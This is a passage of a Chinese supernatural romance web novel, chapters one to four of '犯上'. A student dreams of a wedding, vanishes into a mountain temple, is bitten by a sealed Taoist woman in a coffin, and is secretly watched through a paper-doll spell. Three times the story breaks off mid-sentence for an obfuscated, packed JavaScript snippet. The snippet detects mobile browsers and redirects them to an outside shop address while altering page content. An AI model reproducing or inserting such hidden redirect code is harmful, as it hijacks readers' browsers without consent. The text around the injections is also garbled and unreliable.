《犯上》 1. 第一章 “我又梦见她了。” 甘棠说:“那个女人?” “嗯。” “什么进展了?” 傅清微抬起头,面前的镜子里映出一张挂满水珠的脸,鼻挺唇薄,连唇色都点得恰到好处。 那副比旁人削薄的唇吐出几个字。 “洞房花烛。” 说是花烛,却并不见她语气有几分旖旎,取下挂在一旁的毛巾擦了脸,便迈步出了盥洗室。 那端的甘棠换了只手拿手机,颇有兴味。 “有没有一种可能,你是弯的,你喜欢女人。” “没可能。” “我听说你昨晚拒绝了容自的告白?这是第几个了?” “你怎么知道?” “至此我校排得上名的帅哥都在你这折戟了,我看论坛里在盘点校花了,准备开一栋新的记录贴。” “……” “你怎么不说话?” 傅清微弯起唇角,轻声细语道:“想好了吗,考研还是考公?” 甘棠在屏幕那边抖着手。 “蛇蝎美人啊!” 傅清微笑道:“先不聊了,有门课的实践调研没跑,我出门一趟。” “喂,喂?” 甘棠还没反应过来,电话已经挂了。 傅清微抬脚出了门槛,足尖在空中一顿,莫名地出了一下神。 满目的红色游走在她的视网膜。 她又想起昨夜的梦。 或者说,自十八岁那年起,做过无数次的同一个梦。 红烛高堂,夫妻对拜。 梦虽古怪,但也说得通。起初她以为刚成年,少女情怀——虽然她不认为自己有,可既来之则安之,看看主角是谁也无妨。 但更古怪的是,这个梦并非全知,而是跟连续剧似的,每次透露一点新进展。 “一拜天地——” “二拜高堂——” “新人对拜——” 堂倒是拜了无数次,傅清微与她梦里的那个人也脑袋对脑袋地磕了无数个头,足以磕出生生世世的姻缘,才发现对面是个和她一样的女人。 红罗斗帐间,描金绣红的喜服重重叠叠,傅清微自屋中央望去,那人端坐床榻,即便盖着红盖头,腰脊的曲线弧度婀娜,身段曼妙,分明是世间女子才有的清美。 自屋中走到床榻边,短短十几步的距离,在梦里足足走了一年。 直至昨夜,她才执起端放在一旁金色的喜称,挑向了新娘的红盖头,手指竟有些颤意。 ——实在太久了。 就好像她已经这样等了她很多很多年。 傅清微努力睁大眼睛,想看清盖头下的脸,果不其然戛然而止。 或许下一次,她就会见到女人的真容,或许又要等上一年,甚至更久。 傅清微的脚步停在了站台,和其他人一起等公交,收回思绪看着电子屏的信息。 她的时间规划得正好,56路公交一分钟后停靠,前两站人不多,傅清微排在中后上车,找了一个靠窗的座位。 公交车门关闭,正要启动,一阵叫门声响起。 “等等师傅。” 伴随“嗤”地一声放气,车门再次打开。 傅清微睁开了半阖的眼帘,余光往门口扫去,微微凝目。 二人梳着道髻,一蓝一青两色道袍,脚踏十方履,脚步落在后面那位年轻些的道士行了个礼,口中道:“福生无量天尊。” 公交车上除了一位信士起身回礼,其余人面面相觑,不明觉厉地朝里侧了侧,好让她们的路走得更畅通宽敞。 二位坤道路过窗前,不约而同地扭头向窗边的年轻女人看去。 她约莫二十上下的年纪,脸侧向车窗看不分明,颊边到颈后的皮肤细得像瓷,透着一股苍白漂亮的血色,抿起的薄唇一线如同白纸的朱砂。 青色血管透过薄如蝉翼的皮肤,在颈侧微微起伏。 年轻女人转过来,有一双很好看的琥珀色眼睛,礼貌地和她们对视了一眼。 那两位道士欲言又止。 脚步声在傅清微身边停留了几秒,错身向车厢后部走去了。 傅清微抱着包的双手动了动,调整到车窗靠里的位置,闭目养神。 8:15。 “现在插播一条早间新闻,受大地磁暴影响,我国多地现海市蜃楼现象,提醒广大市民如若遭遇无需恐慌,在原地等待即可,或拨打求助电话98765。” 女主持的播音腔响在清晨的公交车上,傅清微眼皮抬了抬,看向前方高处的显示屏,阖动了一下眼睫。 晨起的上班族抵不过通勤的困顿,兴致缺缺地抬眼又放下。 别说海市蜃楼了,就是世界末日,大家也只会叫好:好耶,终于不用上这个鬼班了。 车厢后面坐着的道长互视一眼,眼神里闪过一丝凝肃。 傅清微重新合起眼帘,待会还要在烈日下奔波,想趁机再眯一会,奈何有人不给她这个机会。 甘棠的微信消息震了又震。 【刚刚推送的新闻看了没有,上个月中元节,这个月就爆出这种新闻,肯定出事了】 【什么地磁暴能出现海市蜃楼啊,绝对是官方找的借口!】 【群妖出动,百鬼夜行!】 傅清微:“……” 【我在公交车上遇到了两名道士】 甘棠立马激动:【我就说!我刚刚在学校也遇到了两个和尚!真的很!不!寻!常!】 【怪力乱神不可信,方外之人就不能下山只为喝杯奶茶?】 甘棠:【哇,前阵子网上的热帖你没看吗?】 【什么热帖?】 甘棠:【说来话长,下次约吃饭面聊】 【行】 傅清微把手机锁屏,假装照镜子,后面那位道长的目光一直落在她的身上,她重新按亮屏幕。 甘棠已经换到下一个话题:【唉,要实在找不到工作,咱俩出家算了,你去问问那俩道长道观还招人不?】 傅清微沉吟:【寺庙招人都研究生起,道观也差不多吧】 甘棠:【那再去读个研?】 傅清微慢条斯理的:【等我们读完研出来,人家博士起招】 甘棠:【……】 她有一万句脏话要说。 傅清微弯了弯唇。 公交快到站了,她关闭聊天页面,站起身来。 巧合的是,那两位道长和她同一站下,傅清微礼貌地侧身,让到了后面,手握着车内的金属扶杆。 新闻里还在重复播报:“广大市民如遇海市蜃楼不要惊慌,在原地等待,或拨打求助电话98765。” 刹车片摩擦出铁锈味的声响,和缠绵的烈日在柏油路上发酵出一种臭味。 正值九月,出伏不久,秋老虎大显神威,整座城市热得像西游记里蒸唐僧师徒的巨大蒸笼。 傅清微刚下车就闷出一身细汗,她呼吸了一口南方三十四度的空气,果断选择了抄小路。 前方左拐通往一道窄巷,老民居尚未拆迁,墙头探出翠色树叶,一半都是荫凉,她对这片儿熟,向巷口快步走去。 “道友?”随她下车的两位道士里,年轻的那位正循着另一人的视线望去。 “贫道想跟上去看看。” 小道长拿出手机看了眼时间,一双亲切的笑眼弯起来,说:“局里报道还有些时间,我与道友同去。” “谢过道友。” 两人都是玄门正宗,修行在身,步伐比寻常人快很多,两人提速赶上,傅清微的身影就在前方,十几步之遥。 “这位……”女道长正要叫住她,眼前的窄巷似在网膜前扭曲了一下,快得难以捕捉。 之后傅清微就消失了。 众目睽睽之下。 消失得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13723048|144905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无影无踪。 * 傅清微踏进了一片古怪的浓雾之中。 她此生没有见过这么大的雾,像倒悬的云,借助隐约的视野,她判断自己正处在深林里。 她回想起早上公交车上的新闻。 海市蜃楼? 傅清微蹙起眉头,在原地等待了许久,“幻象”都没有消失,回应她的只有愈发静谧的林间和鸟叫声。 手机信号那格始终显示无服务。 断联得彻彻底底。 日头升得越来越高,逼近正午时分,雾色淡了些,傅清微离开了原地。 她本想下山,可没走几百米便被一阵浓雾挡了回去,只好改道上山。 雾气浓过又淡。 越往上走,傅清微越是惊讶。 这里像是一座荒废了的深山,没有任何人类留下的痕迹,花草奇珍遍地都是,比她见过的一般的体型都要大。 她亲眼看到长在树根附近的野山参根须粗壮,无人问津。 寂静的深林里,只听得到她一个人的脚步和逐渐沉重的呼吸声。 不知过了多久,她停了下来,抬起头看向曲径尽头。 浓雾之中,掩映一座道观的后门。 一路走来,傅清微除了这栋建筑外没有见到任何东西,即便荒山野岭出现道观实在诡异,也不得不上前敲门。 叩叩叩—— 古香古色的铜拉环磕在木门上。 “请问有人吗?” 傅清微叩完门,脚步立刻往后退了一些,紧紧地盯着看似没有关严的门。 里面许久没有传来动静。 就在她以为不会有回应时,隔着门传来一道女人低柔喑哑的嗓音。 “……你来了。” 那道声音听起来极为成熟柔和,想来主人也是个十分温和的人,却带着不易察觉的悲伤。 传入傅清微耳中,她不知怎的生不起任何防备。 在木门自里开了一条门缝后,她抬手推开了门扉。 一张金色符箓从门后飘落,落在她的脚跟。 傅清微弯腰捡了起来,顺势抬起了眼帘,瞳孔骤缩,后背腾腾地爬起一阵蚂蚁似的细汗。 正对她的是一口黑洞洞的棺材,像择人而噬的巨兽,九条纵横交错的粗大锁链将石棺钉在中央。 悬浮在空中的符牌无风自动,叮啷作响,每一个都爆出红光。 不仅如此,这个道观偌大的后院贴满了符纸,墙上地上,黄的红的,密密麻麻,几乎看不到空隙。 棺材四角悬空,离地三尺,如同用符咒紧紧包裹的蚕茧。 傅清微脑海里一瞬间浮起许多电影画面,头皮一炸。 头顶同时一声响雷炸开,符纸困住的天地阴阳变色,狂风四起。 风卷入后院,地上和墙上的符纸都飞舞到了空中,金色符光在地面流淌,宛如月色,连通地底的锁链缓缓转动,一阵鲜红的血液顷刻爬满了石棺。 傅清微后背都冷透了,她的手已经碰到了木门边缘,离出去只剩一步之遥,脚步却跟用钉子楔在原地似的,寸步不能挪动。紧接着她失去了对身体的掌控,手脚犹如被操控的提线木偶转身向院里走去。 傅清微如坠冰窖,因为她眼睁睁看着自己离那口开着的棺材越来越近。 离死亡越近她反而越冷静,左右不过一死,不能死得不明不白。 想到这里,傅清微心一横,睁大了眼睛,看向棺材里。 里面躺的既不是粽子,也不是干尸,而是一个骨肉匀停、清绝明艳的女子。 她如墨青丝束起,头戴道门至高之一的上清莲花冠,面色红润,栩栩如生。 女人的外表看起来二十三四岁,身披鹤氅,仙风道骨,里面却穿着一身红衣道袍,像极了庄重的喜服。 傅清微盯着她一身的大红色,来不及看仔细,整个人翻身跌进去,棺材盖咚的一声合上了。 2. 第二章 “救——唔!” 伸出的手被吞没进幽红巨兽的深口。 沉闷的合棺声响在头顶。 傅清微躺在了那个女人身边。 再宽敞的棺材也难并排躺下两个人,傅清微眼前一片黑暗,肩膀紧紧贴着对方的肩膀,像是躺在了一块冰怀里,严丝合缝,冻得她直哆嗦。 这人到底是死是活? 还是活死人? 傅清微将脸稍稍朝女人的方向侧了侧,大着胆子伸手去探她的鼻息。 没有呼吸。 她一阵心悸,就在她要收回手时,指尖被轻柔的气息拂过,虽然比起正常人的呼吸又慢又浅,但确实有气息呼在她的指背。 不仅如此,她还…… 傅清微整个人僵住了。 因为她感觉到对方动了。 冰凉的长发丝丝缕缕地倾泻过来,流水一样,抚过她的脖子。 傅清微后背立刻起了一层鸡皮疙瘩。 她紧紧咬住自己的嘴唇。 过了一会儿,凉意褪去,取而代之的稍微没那么冷——但也绝称不上暖热的呼吸在她颈间逡巡,像在观察觊觎已久的猎物。 傅清微闭着眼,心脏狂跳,伴随女人的动作,几乎能想象出画面。 半人高的棺材里,旁边的女人一只手支起身子,另一只手抚过她单薄的肩膀,拢住她的肩头,一边将脸埋进她脖子里,一边慢慢地将她扣入自己怀中。 她怀里有一种不同寻常的香气,似木非木,似花非花,一个恍神的工夫,她的鼻翼便只剩下这一抹香。 傅清微感到了久违的昏沉,眼皮将阖未阖,抵抗的手尚未抬起便已放下。 女人还在拉近她们之间的距离,棺材里几乎留出了空隙。 鲜红一闪而过。 傅清微猛然从昏睡中醒过来,颈间传来尖锐的刺痛,似乎被陡然刺穿血管,她抬手用力抓住了女人的肩膀,仰起白细的脖颈,“你……” 生命力随着鲜血的流失而流逝,推拒的手如此软弱无力。 昏暗的棺内映着红光,女人抱着她耳鬓重叠,宛如一对交颈缠绵的亲密恋人。 傅清微彻底失去了意识。 * “起床了,知道什么时辰了吗?” 傅清微从宿舍的床上醒过来,甘大小姐两手叉腰站在她的床前,“上课要迟到了,一会岳不群又要点名了。” 宿舍?傅清微环视周围熟悉的布置,她不是在道观里吗?她回来了? 所以确实是海市蜃楼? 不对。 傅清微:“岳不群不是早就结课了吗?都上学期的事了。” 甘棠换了一副表情,哈哈大笑道:“骗你的,不是上课,但你确实有正事要办。” “什么事?” “拜堂成亲。” 甘棠把她从床上薅了起来,推着她进了卫生间洗漱。 “快点,来不及了!” 傅清微面朝着洗手间的镜子,一听到这个关键词,就知道自己又入梦了。 咔哒—— 眼前一黑又一亮,她一身凤冠霞帔坐在了梳妆台前,入目一片大红的喜色,面孔模糊的老人执木梳耐心为她梳发。 “一梳白发齐眉,二梳同结连理,三梳无灾无病落花又逢君。” 长发梳得柔顺无比,老人将木梳轻轻搁在台面。 芙蓉面柳叶眉,傅清微看着镜子里人比花娇的一张脸,已经没什么波动了。 一个梦的开头重复几十上百次,再多的激动也会化为如水的平静。 她从容地控制梦境快进,到拜堂时自动播放。 自从意识到对方是个女人后,她就在拜堂时注意到了更多的细节,比如对拜时,对方凤冠上的珠子会撞击出清脆的声响。 ——就像自己的一样。 比如她垂在身前的手,柔嫩白皙,骨节纤秀,甚至有些过分的秀气了。 在这个无法逃离的梦境里,她每一次都能发现新的细节,苦中作乐观察自己梦里的另一半。 “一拜天地——” “二拜高堂——” “新人对拜——” 傅清微抬起头,看着同样直起身的女人,就在这时,细节出现了微妙的出入,那个女人朝她走过来一步。 傅清微怔了一下。 赞礼者高唱:“送入洞房——” 傅清微牵着红绸的一端,和女人相携步入后院张贴囍字的厢房。 花烛高悬,长案丰盛。 傅清微从门口走到床边,一身嫁衣的女人坐在用红色帐幔围起来的床榻中央,其衣如火,其人也似秋水。 傅清微接过一旁金色的喜称,伸向了红盖头。 如果她没有料错的话,下一秒梦就会醒了,她看不到那个人的真容。 喜称触碰到红盖头的边缘,垂落的金色流苏微微晃动,傅清微走了一下神,准备从梦里醒过来。 下一秒,盖头挑了上去。 傅清微:“!!!” 戴着凤冠的女人缓缓抬起头,露出一张夭桃秾李的脸,自成风华。 傅清微如遭雷击。 那个人,她竟然是—— 女人撩起眼帘望向她,绯色的眼睛,像渗透了血一般! 傅清微惊叫出声,蓦地坐了起来,吹乱符纸的风已经平息,山间道观阴凉阵阵,她手搭在石棺边缘,仍坐在昏迷之前的棺材里。 不同的是里面只剩下她一个人。 傅清微抬手探向自己的颈间,迟疑地摸索着,没有摸到任何血迹,连伤口都没有。 怎么回事,是梦中梦? 随着她这个动作,一件衣服从她肩膀滑落,是那件绣着日月星辰的红色鹤氅。 傅清微抱着衣服环视了一圈四周,在不远处发现了背对着她的修长身影。 那人墨发一半用莲花冠束起,长身玉立。 傅清微视线顺着她披散的另一半长发蔓延开去,满脑子只浮现一个念头: ……好细的腰。 她攥着怀里鹤氅的白皙指节紧了紧,晃了一下脑袋,暗骂自己下贱,清了清嗓子唤道:“道长?” 道长回过身来,左手似乎握着一样物事,掩在手心,傅清微看不清。 “何事?” “我是无意中来此,不知可否指点一条明路下山?” 道长讳莫如深地望着她。 被她漆黑的眼睛盯着,傅清微无端有些毛骨悚然。 “何年何月?” “2029年9月20日。” “报上名姓。” “傅清微。” “清微……可也是道士?” “不是,我只是普通人。” “哦。”道长把她从头到尾看了一遍,落在她美玉无瑕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13723049|144905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的颈项。 施过祝由术后,已经看不出原来的伤口了。 “道长?” 女人看她的眼神忽然变得幽邃,看着看着就想从哪里下口似的,傅清微连忙打断她的审视。 “嗯?”女人的容貌绝艳,应当配一副明媚骄阳的嗓子,却意外有些清冷。 但她音质清澈,质疏如珠玉,冷得并不让人产生寒意,只有一种干净之感。 她莲冠道袍,袖摆绣着祥云仙鹤,冰肌玉骨,有天人之姿,仍生出一种只可远观的飘飘仙气。 "不知道长如何称呼?"傅清微试探道。 女人静了许久,几不可察地蹙了蹙眉,似乎联想起不虞之事。 她冷哼一声。 “与你何干。” “好的。”傅清微闭嘴。 还是个暴脾气的道长,不愧是死道友不死贫道的玄门。 料想也不会有鬼冒充成她这样的道士,可能是道长和原先封印在这里的东西打了一架,对方不敌,她赢了,或者她道行高深,刚刚出关。 就算她是鬼,也是降妖伏魔的道士鬼,不会伤害普通人。 无论如何,应该没有生命危险了。 傅清微松了口气,再次问道:“道长,我想下山应该往哪条路走?” 女人没有再为难她,挥手开了院门,道:“走吧。” 傅清微从开着的门往外看,雾气已经完全没了。 她抬脚出了门框。 身形却被那女人再次叫住。 她回过头,看见那女人站在门内,下午的光线偏移,刚好落在院子里她面前的地面,泾渭分明的一条线出现在她的脚下,仿佛割开了无数个漫长日月的昏晓。 女人问:“此间可还有战乱吗?” 傅清微凝目望她,极其认真地回道:“已和平近百年了。” “那就好。”她似乎笑了一下,转身进了观内。 傅清微在紧闭的木门前驻足了一会儿,面向道观,俯身慢慢地鞠了一躬,才循着小路下山去了。 一张薄薄的纸片在阳光落在她头顶上时,亮出微微的光,似是纸人伸出的手。 * 观内。 女人冷眼看着满地黯淡了的符纸,棺材盖反面朝上掀翻在地上,遍布手指留下的干涸凌乱血迹的抓痕。 女人随手捡了几块沾了符力的的石头,捏了一把土充作香炉,就地设了个简易的法坛。 还缺媒介和沉香。 她在厨房同时找到了这两样。 女人点燃了三支香,面向法坛,双手举至额前,虔诚地拜了三拜。 她左手将三支香均匀地插在香炉之中,一字排开,烟雾袅袅,笔直向上,庭院阴冷,风飒飒拂动树叶,抖出巨大的声响,仿佛有什么应召前来。 “太上敕命,急诏坛前。鬼神借目,乾坤借法。急急如律令。” 她左手掐诀,右手在虚空迅速画了一道符,金光自空气里骤然隐现,没入一旁的水缸中。 缸水清澈,倒映出观内的高木,树影在水面无风自动的波纹里渐渐扭曲。 涟漪散去,水面出现一个年轻女人的倒影,正是刚刚从道观离开的傅清微。 她神情自如走在下山的道路上,全然不知自己的一举一动已被另一个人毫无保留地收进眼底。 隐在她发间的小纸人歪了歪脑袋,小心地把手藏好。 3. 第三章 玄门传承至今,许多门派都有纸人术,功效各自不同,其中以茅山的纸人术最为出名,可替身解厄,亦可诅咒活人。 傅清微身上被悄悄放上去的纸人,并非茅山术,而是对方的本门术法。 这纸人既不能直接伤害她,幕后之人也不能间接通过它对傅清微造成任何影响。 这是一个共享五感的术法。 ——单方面的。 道观里的女人可以借助纸人,看见傅清微所看见的,听见她所听见的,甚至味觉、触觉。 真正做到全方位感同身受。 耳朵里像是被乍然扔了几个炮仗,声浪如同煮沸的滚水。 水面组成的镜子里,傅清微下山回到了闹市区。 她站在熙熙攘攘的十字路口,秋老虎的余威潮热地裹住四肢,冷汗流成热汗。 山上的遭遇宛如一场瑰丽灵幻的想象,但自她下山以后,手机就恢复了信号,她切切实实走过的路也不是假的,站在山脚往上看,雾气缭绕,连道观的影子也看不到了。 可如果不是海市蜃楼,又怎么解释她上一秒还在市中心的窄巷里,下一秒就凭空将她变到了山中,还遇到如此诡异的事。 幻觉?不是幻觉? 傅清微打开手机查看屏幕:中午十二点。 连时间的流逝都是真实的。 等等,十二点了? 这下她没空去深思是不是幻象了,她连忙搜导航去最近的地铁站。 女人负手站在道观后院,云海自山间跌坠,红衣惹眼,窈窕多情。 轨道上长而笔直的庞然大物有序疾驰,制服统一的列车员训练有素,年轻女人步入那长方形的铁盒子里,九月份暑气未消,肌肤上的燥热却一点点被冷气蒸发。 比山里还凉快。 女人:“……” 虽然如此,还是比不上她的棺材更加清凉,躺进去连骨头都是冷的,透心凉。 天材地宝,冬冷夏冷。 傅清微对窥视她的另一个人一无所觉。 繁华的地下铁连通着这座城市的交通命脉,四通八达,1号线常年拥堵,接二连三的演唱会井喷从全国各地汇集了大量的外地游客,傅清微被挤得动弹不得,险些当场挤成纸人,肺部紧张呼吸不畅,眼睛和脑子都跟着放空。 小纸人在头发里惊恐地爬行,简直快夺路而逃,被主人附在身上的一息灵气左右,两眼一翻,半死不活地在半空蹬了蹬腿儿。 车厢里的人们跌撞摇晃,在黑黢黢的隧道里驶向各自的远方。 道观里的女人也迈开小腿,走向中央的石棺。 鹤氅长长飘带拂起,宽袖摆动间,隐现一截皓白的细腕。 她左手系了一根红线,烙在雪一样的肤色上像是利刃绕着腕子一圈刻的血线,穿着一颗刻满经文的佛珠。 女人躺进棺材里,两手交叠抵在小腹,柔软的袖子滑到肘弯,露出的皮肤更多,一线红显得愈发抢眼缱绻。 她合上了眼睛,和远在百里之外的年轻女人一样,选择了暂时休息。 紧赶慢赶,傅清微在一点之前赶到了拍摄场地。 “来啦。”穿行在室内的工作人员熟稔地和她打招呼,一边调试设备。 “李姐,王哥。”傅清微年纪很轻,虽然在做兼职,但终究不是真的社畜,口吻还有些大学生的青涩。 两人不约而同地笑了一下,李姐给她指了个方向,说:“导演在那边。” “谢谢李姐。” 好乖的小孩儿。 李姐母爱泛滥,想去揉她的头,但是看看她至少170以上的身高,想想还是放弃了。 傅清微和导演打了招呼,在工作人员的帮助下穿戴布满传感节点的动捕设备。 傅清微大一兼职入行,和其他演员不一样的是,她是一名动作捕捉演员,通俗来讲就是不露脸,通过专业设备多点扫描,用三次元的肢体表演二次元的虚拟角色,目前应用在科幻电影、游戏、动画等。 动捕是小众行业,随着科技水平的提高,电影拍摄和游戏制作的发展,产生了更多的就业需求。 傅清微被看中了外形条件,意外入的行,今年已经是她兼职的第三年,虽然挣得不多,但收入基本稳定。 动捕演员分文戏和武戏,傅清微虽然有身手,但市场要求接的多是文戏,今天是为数不多的武戏。她在导演的要求下做出一个个高难度动作,原地后空翻,左手撑地做出飞踢,疾奔从高台跳下,落地翻滚,拔刀斩…… 动捕演员不仅动作要做得流利,而且要轻盈漂亮,把武术动作做出舞蹈般的唯美。 屏幕里的虚拟动画人物一身红衣,手持弯刀,随着她的动作行云流水地拆招制敌,飘逸灵动,哪怕不看脸,都是一种至高的享受。 傅清微干脆利落地反手刺入,回身收刀。 导演:“卡。” 她还沉浸在方才的屏幕享受中,缓了几秒才道:“很好,再来一条。” 傅清微在更衣室脱下了紧身动捕衣,汗如雨下,她换上了自己原本的衣服,出来和导演道别,导演往她手里塞了一个杀青红包。 傅清微:“?” 导演:“虽然咱们和普通片场不一样,但是仪式还是要有的,恭喜杀青。” 这是一个为期两年的动画项目,傅清微作为重要角色的动捕演员,每月或每两月集中录制戏份,时长一到两天不等,导演也和她见过很多次了。 “谢谢导演。”傅清微没去摸红包的厚度,放进了口袋。 动画导演笑眯眯看着她,目光有赞赏也有惋惜:“小傅啊,以你的外形条件,完全可以去做更大众的演员,真的不考虑一下吗?我可以帮你介绍,虽然不是什么大制作,但肯定比现在挣得多。” 傅清微的五官不是浓烈的类型,单看甚至有些寡淡,脸颊带着天生的苍白,唯有一双眼睛极有神韵,眼尾细长,浓墨重彩,生生将整张脸衬托出几分面若桃花的绮丽。 她唇色很浅,只要稍稍妆点胭脂,胜过世间千娇百媚。 导演敢打包票,只要她愿意露脸,有的是机会。 傅清微笑了一下,道:“不用了导演,我喜欢这份工作。” 这不是谦辞,比起台前,她确实更喜欢幕后,深藏功与名的感觉,而且并不是每个人都适合镁光灯下的生活。 既然她这么说,导演也不强求,只道:“你快毕业了吧,如果没有更好的去处,要不要当职业动捕演员?” “我会考虑的。” “透露一下,希望大不大?”导演有点调皮。 “大。”傅清微想了想,实话回她。 她确实喜欢这份工作,这几年就业形势也确实不好。 导演哈哈笑起来。 “行了,时间不早了你也早点回家吧,到家记得报个平安。” 傅清微似乎有些动容,轻轻嗯了一声。 晚上九点,地铁还运行着,傅清微找到了个空座, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13723050|144905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经历了一天的工作,身体疲惫,脑子却终于有时间去回忆早上的事。 深山道观里,仿佛被封印的棺材里,穿红色道袍的神秘女人。 她究竟是谁?她还在那里吗? 和她的梦有关系吗?为什么红盖头下会是她的脸? 还是说因为自己太过害怕所以下意识把昏迷前看到的脸代入了梦里? 小纸人在她脑袋上头晕目眩地转了一天都要吐了,蔫蔫地趴在她头发里,已经快朝十晚十了,道观的女人仁慈地给它放了半小时的假,切断了水镜。 观中月色亦如水,夜风吹得水面涟漪轻漾,密密的树叶摇动,满山只有风清寂的声音。 地铁到站的广播声唤醒了傅清微的出神,此时车厢只有零星的几个人,对面的车窗映出她两手抱着帆布包的身影,看着看着,她发现自己的影子有些奇怪。 比如她明明是两只手拿包,影子的一只手却放在腿上,还低着头。 傅清微怀疑出现了幻觉,用力地闭了闭眼。 再次睁开眼时,影子空着的那只手已经举到了耳边,往下挥了挥,似乎在和她打招呼。 影子突然抬起脸直直地看着她,嘴角拉出诡异的笑容。 傅清微猛地站了起来。 昏暗的车厢陡然变得明亮,车厢里仅剩的乘客都好奇地看向她,傅清微下意识想抬手指向对面求助,镜子里的影子也抬起了一半的手,另一只手拿包,和她别无二致。 “不好意思。”傅清微道了歉,匆匆走出开了的车厢门。 地铁大厅明亮,执勤的工作人员随眼可见,傅清微急剧跳动的心脏慢慢平复——早知道就不该听甘棠的,昨晚看什么恐怖电影。 之后再没有遇到古怪的事,傅清微一路平安地回到了租住的房子。 与此同时,小纸人上岗,山上的女人重新打开了水镜。 傅清微攒了一些积蓄,为了拥有自己的私人空间,租了间一室一厅的小房子,临近地铁站,有单独的厨房和卫生间,房东直租,网上聊的时候一直说最低1500,一分少不了,见了面立马又给她便宜一百,还主动提出换台新空调,原来的太费电,不划算。 傅清微只好谢谢她,续租的时候特意买了份小礼物送给她。 傅清微大三搬出来的,现在已经住了一年,房子里都是她的生活痕迹,阳台的盆栽,沙发的书本,客厅的健身器材,今年房东把她家不用的游戏主机送来了,说年轻人都爱玩,让她也试试,劳逸结合嘛。 白天的经历,晚上古怪的影子,傅清微回到家里,心跳得还是有些快,于是开了家里所有的灯,坐在沙发里。 翻了会儿昨天没看完的书,时间已经来到了十一点,俗称的子时。 傅清微拉上所有的窗帘,关了客厅的灯,回到卧室打开衣柜。 翻动木质衣架的声响,摘下睡衣,走进浴室,打开了淋浴的水龙头。 她伸手抓住自己衣服的下摆,动作娴熟地褪了下来,和她五感互通的女人同时感觉到了空气里的凉意。 怎么会突然变冷? 她从棺材边快步走到水镜前,入目是雪白光滑的手臂,挂着细细带子如同亵衣的小物件。 她把刚换下来的内衣整齐叠好,放在小凳子上,手继续往下,触到了弹性十足的边缘。 道观里的女人难得色变,脱口制止道:“住手!!!” 傅清微浑然未觉,小腿抬起来,最后一块遮身的布料落了地。 4. 第四章 傅清微把换下来的衣物都放在卫生间的小凳子上,迈开小腿进了淋浴室。 头顶莲蓬头的热水淋下来,年轻女人仰起头,她身量修长,常年锻炼的四肢骨肉均匀,线条漂亮,温热水流从颈窝流到腰窝,笔直细韧的小腿,飞溅在脚边,像是从头到尾镀上了一层珍珠似的光。 道观里的女人抬手捂住了自己的眼睛,背身面对水镜。 但是耳边的水声还在响,手指拂过水流落在肌肤上的柔滑感也清晰分明。 她收在长袖的手捻了捻自己的指节,似要摆脱潮润。 ——明明山中温度低,指腹却温热如春。 傅清微冲了一下热水,将长发散了,简单地打湿,将洗发露揉在头上。 她指尖似乎碰到了什么东西,太细微所以没去理会,她洗完头直起身,继续抹沐浴露洗澡,热水冲去了一天的疲惫,明天又是新的一天。 等她洗完澡收拾浴室,在排水口捡起了一样东西,似乎是纸张的碎片,已经湿得不成样子,她随手丢进了卫生间的垃圾桶。 睡前她上网搜索本市道观,又把范围扩展到邻市,什么青羊宫、抱元观、守一观、天师洞等等,都香火鼎盛。那个人,会在这些道观里面吗? * 蓬莱观。 人迹罕至的后山此时站了约莫几十人,都是道士打扮,但道袍各自不同,有的绣有宗门标记。 因为地方小,站得密,乍一看也乌泱泱的。 为首一人正是傅清微曾在公交车上偶遇过的,年轻一些的坤道。 占英是奉局里的命令来此,若水道长刚刚出关,她代表局里为她准备一应物品,以适应现代生活。如果可以的话,局长亲自叮嘱她,让她将若水道长请出山,到局里坐镇。 说实话,她觉得希望不大,局长未免太看得起她了。 她惆怅地望了望天。 眼前的大门一开,“砰!”一块沉重的棺材板飞了出来,摧枯拉朽地将门口的人群轰成鸟兽散开。 石棺棺盖重达几百斤,众道士纷纷念咒抵御,可那棺盖连去势都未阻,将众人赶到了百米之外,笃的一声插在地上,像是为他们新立的墓碑。 “再不滚,你们都要死!” 道观里传来一声充满戾气的声音。 这可在一众人里炸开了锅。 “穆观主怎么这样说话?” “同为道友,即便她辈分比我等高,也不该口出恶言。” “道友,你我都修道了,还讲究这个?索性你也骂回去,该不会不敢吧?耿耿于怀,当心心魔难消。” “知道的明白你们清静派受了穆观主的恩,不知道的还以为你们是穆观主的狗呢,这下我心魔消了哈哈。” “她躺在棺材里,符纸贴的满院都是,谁知是邪是魔?!” “谁家好人睡棺材里啊?” “你——你们不准说慈让真人坏话!”清净派的小道长拂尘一扔,跳起来打人。 占英识趣退得最远,和她同来的几位道友与她互视一眼,均感到一丝头疼。 